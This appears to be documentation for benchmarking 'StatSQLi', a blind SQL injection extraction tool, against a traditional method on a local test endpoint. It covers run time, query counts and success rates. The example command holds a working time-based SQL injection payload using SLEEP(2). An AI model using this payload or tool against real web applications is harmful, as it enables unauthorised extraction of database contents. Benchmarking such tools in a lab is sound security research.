Running Benchmarks

Benchmark scripts compare multiple extraction approaches and summarize time/query efficiency.

Run benchmark script

cd benchmarks
python compare_tools.py "http://127.0.0.1:5000/vulnerable?id=1" \
  --payload "' OR ({condition}) AND SLEEP(2) -- -" \
  --iterations 5 \
  --user-id 1 \
  --output benchmark_results.json

What gets measured

• extraction time per iteration,
• summary statistics (mean, median, std, min, max),
• success rates,
• query counts for StatSQLi and traditional baseline.

Output artifact

• JSON file (default: benchmark_results.json) containing raw runs and summary metrics.

Good benchmarking practices

• Keep target environment stable (same host, same load profile).
• Use identical target and payload settings across methods.
• Run enough iterations to estimate variance.
• Report both time and query counts for balanced interpretation.